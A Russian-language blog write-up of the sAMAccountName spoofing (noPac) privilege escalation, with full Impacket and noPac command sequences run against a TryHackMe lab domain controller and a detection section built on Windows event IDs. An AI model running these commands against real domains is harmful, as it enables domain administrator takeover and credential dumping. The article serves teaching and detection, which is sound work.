Кто обзывается — тот SAM так называется
Не так давно на одном из проектов мне довелось встретиться лицом к лицу с небезызвестной уязвимостью, которая привлекла моё внимание. Хоть уязвимость давно изучена и на неё есть грамотные детекты, ни одно из правил корреляции не отработало, и среди тысяч событий на контроллере домена пришлось искать те, которые прямо или косвенно могут свидетельствовать о её эксплуатации. Почему так? Просто не на всех хостах бывает грамотно настроен аудит, который просто необходим для работы правил корреляции. Так было и в этом случае.
Сегодня мы об этой уязвимости (а, точнее, о паре уязвимостей), которые могут помочь вам повысить привилегии с обычного пользователя до доменного администратора за несколько простых шагов.
Имя этому — sAMAccountName spoofing!
Теория
В ноябре 2021 года внимание многих исследователей привлекли две уязвимости, поскольку их комбинация позволяет злоумышленнику повысить свои права до администратора домена, если в распоряжении атакующего есть скомпрометированная УЗ пользователя в домене.
Суть уязвимости CVE-2021-42278 (sAMAccountName spoofing) состоит в том, что по умолчанию пользователь может добавлять компьютеры в домен (до 10 узлов), а также изменять атрибут sAMAccountName добавленных компьютеров (а точнее их доменных учетных записей). Чтобы узнать, у кого есть права на добавление компьютеров в домен, необходимо проверить в групповых политиках настройку SeMachineAccountPrivilege в разделе Default Domain Controller Policy (Computer Configuration\Windows Settings\Security Settings\User Rights Assignment\). Данная уязвимость используется не сама по себе, а для эксплуатации уязвимости CVE-2021-42287, которая позволяет выдать скомпрометированный узел за контроллер домена.
Давайте поговорим об уязвимостях поподробнее.
1. CVE-2021-42278 — name impersonation
Как известно, учетные записи компьютеров должны иметь символ $ в своем имени (имеется в виду атрибут sAMAccountName), но ранее не существовало процесса проверки, чтобы убедиться в этом.
Немного о sAMAccountName
sAMAccountName — имя учетной записи SAM, предназначенное для совместимости со старыми операционными системами (до Windows 2000). Впрочем это не означает, что sAMAccountName не используется в качестве имени для входа в современных системах Windows. Значение атрибута sAMAccountName для УЗ должно быть уникальным в рамках домена, имеет ограничение в 20 символов и работает в сочетании с NETBIOS именем домена, например LAB\ivanov_ii. sAMAccountName является обязательным атрибутом пользователя.
2. CVE-2021-42287 — обман KDC
При запросе сервисного билета (ST, TGS) принципалу сначала требуется предоставить TGT. Если запрашиваемый в рамках билета сервис не найден KDC, KDC автоматически выполняет повторный поиск, добавляя символ $ в конце имени. Иными словами, когда клиент запрашивает ST, контроллер сперва смотрит в предоставленный клиентом TGT. В случае, если KDC не обнаруживает среди объектов домена объекта с именем, указанным в TGT, контроллер добавляет символ $ к этому имени и шифрует отправляемый TGS с использованием ключа объекта "name$".
Так, уязвимость CVE-2021-42287 заключается в том, что при выполнении проверки подлинности Kerberos в случае, если TGS был запрошен для учетной записи, которую не удалось найти, KDC добавит к ней в конце $ и попытается найти ее снова.
Представим ситуацию, когда скомпрометированный узел запросит ST с предоставлением TGT, полученного для учетной записи, названной так же, как и контроллер домена, а затем (перед запросом ST) переименованной, то ему будет выдан ST с правами контроллера домена, так как KDC не удастся сразу найти такую учетную запись, вместо этого он обнаружит УЗ с $ на конце, которая и будет являться sAMAccountName контроллера домена.
Звучит сложно и непонятно? Не переживайте, сейчас разберемся.
В рамках атаки используется расширение Kerberos S4U2self. Расширение Kerberos S4U2self позволяет службе запрашивать билет от имени пользователя для себя, который затем можно использовать в S4U2proxy. Это сделано для того, чтобы разрешить делегирование Kerberos для тех клиентов, которые не поддерживают протокол Kerberos.
Эксплуатация
Возможность редактирования атрибутов sAMAccountName и servicePrincipalName учетной записи компьютера для осуществления атаки является обязательным требованием.
Самый простой способ выполнить это требование — создать учетную запись компьютера (например, используя атрибут MachineAccountQuota в случае, если он больше 0). Создатель новой учетной записи компьютера имеет достаточно привилегий для редактирования ее атрибутов. Если же MAQ равен нулю, альтернативный способ эксплуатации — получение контроля над владельцем/создателем учетной записи компьютера в рамках, например, горизонтального перемещения.
Для того чтобы определить, есть ли у этой УЗ права на добавление компьютеров в домен, воспользуемся инструментом windapsearch. Команда:
python3 windapsearch.py --dc [IP-адрес контроллера домена] -u [полное имя пользователя в домене] -p [пароль] --custom '(&(objectClass=domain)(distinguishedName= [distinguishedName домена]))' --attrs ms-ds-machineAccountQuota
Атаку можно осуществить следующим образом:
- 1. Очистить атрибут
servicePrincipalNameучетной записи контролируемой машины от любого значения, указывающего на ее имя (напримерhost/machine.domain.local,RestrictedKrbHost/machine.domain.local); - Изменить атрибут
sAMAccountNameучетной записи контролируемой машины на имя контроллера домена без завершающего символа$, что возможно благодаря CVE-2021-42278; - Запросить TGT для УЗ контролируемой машины;
- Изменить
sAMAccountNameучетной записи контролируемой машины до ее первоначального значения (или любого другого, отличного от имени контроллера домена без конечного$); - Запросить S4U2self ST, предъявив полученный ранее TGT, где вступает в бой CVE-2021-42287;
- Получить доступ к контроллеру домена (например, DCSync или шелл).
В рамках подготовки материала я развернул уязвимую лабораторию, состоящую из одного контроллера домена и атакующей машины с Kali, однако, чтобы у каждого из вас была возможность при желании повторить эту атаку, я переписал материал под уязвимую машину Enterprise с TryHackMe. Эксплуатация этой уязвимости — незапланированный вектор решения этой комнаты, и мы рассматриваем его только в обучающих целях.
Полный перечень команд, которыми осуществлялась успешная эксплуатация, приведу сразу ниже:
# Создаём УЗ компьютера при помощи Impacket impacket-addcomputer -computer-name 'mypc#39; -computer-pass 'P@ssw0rd' -dc-host LAB-DC -domain-netbios LAB 'LAB.ENTERPRISE.THM/nik:ToastyBoi!' # Переименовывем УЗ компьютера, выбираем имя контроллера домена без $ ./renameMachine.py -current-name 'mypc#39; -new-name 'LAB-DC' -dc-ip 'LAB-DC.LAB.ENTERPRISE.THM' 'LAB.ENTERPRISE.THM'/'nik':'ToastyBoi!' # Запрашиваем TGT для нашего ПК lab-dc impacket-getTGT -dc-ip 'LAB-DC.LAB.ENTERPRISE.THM' 'LAB.ENTERPRISE.THM'/'LAB-DC':'P@ssw0rd' # Сбрасываем имя УЗ компьютера на первоначальное (или любое) ./renameMachine.py -current-name 'LAB-DC' -new-name 'mypc#39; -dc-ip 'LAB-DC.LAB.ENTERPRISE.THM' 'LAB.ENTERPRISE.THM'/'nik':'ToastyBoi!' # Получаем ST с S4U2self, предоставляя полученный на 3 шаге TGT: KRB5CCNAME='LAB-DC.ccache' python3 getST.py -self -impersonate 'banana' -altservice 'cifs/LAB-DC.LAB.ENTERPRISE.THM' -k -no-pass -dc-ip 'LAB-DC.LAB.ENTERPRISE.THM' 'LAB.ENTERPRISE.THM'/'LAB-DC' # pwned? KRB5CCNAME='banana@cifs_LAB-DC.LAB.ENTERPRISE.THM@LAB.ENTERPRISE.THM.ccache' impacket-secretsdump -k -no-pass LAB-DC.LAB.ENTERPRISE.THM -dc-ip LAB-DC.LAB.ENTERPRISE.THM
Демонстрация атаки
Пусть у нас есть уязвимый контроллер домена:
Набор портов говорит о том, что это DC (иначе откуда там LDAP, Kerberos, DNS и т.п.). Поскольку мы будем абъюзить Kerberos, добавляем запись в hosts:10.10.89.250 LAB-ENTERPRISE LAB-DC.LAB.ENTERPRISE.THM LAB-DC
На текущем этапе мы уже взяли первого пользователя (например, отравили WPAD и нашли жертву, которая ввела пароль в Basic Auth), и нам известны его креды: LAB.ENTERPRISE.THM/nik:ToastyBoi!
Проверим, что пользователь валидный, а заодно перечислим всех пользователей в домене. Для этого я буду использовать CrackMapExec:
Мы мало что понимаем об их сущности, так что давайте осуществим перечисление домена при помощи LDAP (эту активность, как синей команде, нам помогает найти событие 1644 на контроллере домена):
ldapdomaindump -u 'LAB.ENTERPRISE.THM\nik' -p 'ToastyBoi!' -d LAB.ENTERPRISE.THM LAB-DC.LAB.ENTERPRISE.THM
ldapdomaindump даёт очень красивый результат, и мы можем подробнее познакомиться с нашими пользователями.
Мне приглянулся юзер banana, и у него есть определенные привилегии относительно DC. Почему banana? Да я просто чилловый парень и люблю бананы:
Нам нужно будет олицетворить этого пользователя, не зная его пароль и вообще ничего о нем. Получится? Давайте посмотрим!
Добавим объект компьютера в домен с определённым логином и паролем. Они могут быть любыми, но для красоты и простоты не будем усложнять:
Тут же при помощи скрипта renameMachine изменяем ему имя на имя, соответствующее контроллеру домена: LAB-DC.LAB.ENTERPRISE.THM.
Недостающий скрипт качаем отсюда.
Далее запрашиваем TGT для заведённой нами УЗ компьютера. Благо, сделать это нетрудно, так как мы знаем пароль:
После получения TGT меняем имя компьютера, чтобы при запросе сервисного билета SAM lab-dc найден не был, и повторный поиск был осуществлён для lab-dc$ (а это УЗ контроллера домена).
Используя TGT, запрашиваем TGS при помощи скрипта getST.py. На этом этапе может возникнуть проблема (Impacket может не знать свитч -self, поэтому используем скрипт, где эта опция точно есть). Скачать его можно здесь.
Если нет понимания, куда тыкать, забираем напрямую при помощи wget:
wget https://github.com/ShutdownRepo/impacket/blob/2fc02e655bd799465fa62d235905263b00cf2db3/examples/getST.py
Сразу же после запроса сервисного билета осуществляем DCSync:
Автоматизация действий
До сих пор кажется, что, как будто бы, каждый раз проделывать такой трюк довольно сложно. Тем более пытаться разобраться в работе скриптов, которые нужно скачивать с гитхаба.
На помощь приходит скрипт noPac, который проделывает все эти шаги за вас!
Синтаксис у него очень похож на синтаксис Impacket:
python3 /opt/noPac/noPac.py LAB.ENTERPRISE.THM/nik:'ToastyBoi!' -dc-ip 10.10.89.250 -dc-host LAB-DC -shell --impersonate administrator -use-ldap
В результате мы можем получить тикет от имени любой УЗ в домене на право доступа к контроллеру домена. Да, и билет мы можем получить, не зная об учетной записи ничего кроме её имени. В идеале нас интересует УЗ администратора домена.
Давайте проделаем атаку и имперсонируем себя непривилегированным пользователем:
Действительно, атака была неудачная.
Но стоит нам взять администратора:
И мы получаем шелл от имени SYSTEM на узле контроллера домена, что открывает дальнейший простор для атаки, по сути означая компрометацию всего домена!
Если присмотреться, то этапность атаки та же самая, только в начале есть ещё одна проверка — проверка MAQ, о которой я говорил в самом начале.
Обнаружение
Для демонстрации атаки в журналах Windows на уже скомпрометированной машине я завёл логирование и очистил логи. После успешной эксплуатации вытащил журнал, и всё для того, чтобы показать результаты вам!
Давайте поэтапно пройдемся по всем шагам атаки.
Анализ атаки стоит начинать с поиска успешных входов. В данном случае мы получаем информацию о скомпрометированной УЗ и адресе источника атаки.
4624 — событие успешного входа
Входов будет несколько, и первый их них связан с получением атрибута MAQ.
Нас же интересует второй вход:
4741 — событие создание УЗ компьютера
Здесь мы обращаем внимание на имя создаваемого ПК, его ID, атрибут SAM Account Name, а также пользователя и ID сессии. Это помогает нам скоррелировать это событие с событием успешного входа, где виден IP-адрес источника атаки.
Рядом будет событие 4724 о сбросе пароля от УЗ компьютера — 4724, но оно нам не очень интересно (хотя видно, что это один из этапов атаки).
4742 — изменение УЗ компьютера, 4781 — изменение имени УЗ
После добавления компьютера, очистки атрибутов его УЗ и изменения пароля, мы должны увидеть событие изменения имени учетной записи. Новое имя учетной записи SAM должно совпадать с именем DC (в нашем случае LAB-DC). В этом нам поможет событие 4742:
Здесь мы обращаем внимание на SID изменяемой учетной записи, пользователя, ID-сессии и новое имя.
Помимо события 4742 поможет событие об изменении имени УЗ — 4781.
4768 — запрос TGT
После переименования УЗ подконтрольного компьютера для неё должен быть запрошен TGT. Это нам покажет событие 4768:
- Имя УЗ, для которой запрашивается билет (совпадает с именем DC, но без
$); - Источник;
- SID УЗ (это SID созданного компьютера);
- Тип шифрования билета (он отличается от привычного для Impacket 0x17).
4742 — изменение УЗ компьютера, 4781 — изменение имени УЗ
После успешного запроса TGT УЗ компьютера должна быть снова переименована, и обнаружить это помогают события 4742 и 4781, уже известные нам:
4769 — запрос TGS
Следующим этапом идёт запрос TGS с использованием ранее выданного TGT. Здесь на помощь приходит событие 4769:
Здесь стоит обратить внимание на имя учетной записи, а также на источник, с которого идёт запрос. Это помогает нам скоррелировать указанное событие с ранее наблюдаемыми.
4624 — событие успешного входа, 4672 — привилегированный вход
В рамках атаки я старался получить TGS для другой учетной записи — banana. К сожалению, эта информация не отображена в событии запроса TGS, но сразу же после запроса билета мы наблюдаем событие успешной аутентификации по протоколу Kerberos, а также назначенные привилегии (благодаря аудиту события 4672):
Дальнейшие события были связаны с исполнением команд на контроллере. Осуществляется это исполнение через удалённое создание служб:
Событие 5145 (доступ к шаре):
Событие 4697 (создание службы, используемого для исполнения команд):
Событие 4688 (создание процесса):
Результат исполнения команды отображается в \\127.0.0.1\ADMIN$\__output, и несложно понять, что следующим событием будет подключение к ресурсу ADMIN$ к файлу __output:
Ниже видна запись в этот файл:
На этом увлекательное путешествие по этим уязвимостям подошло к концу. Надеюсь, вы узнали для себя что-то новое!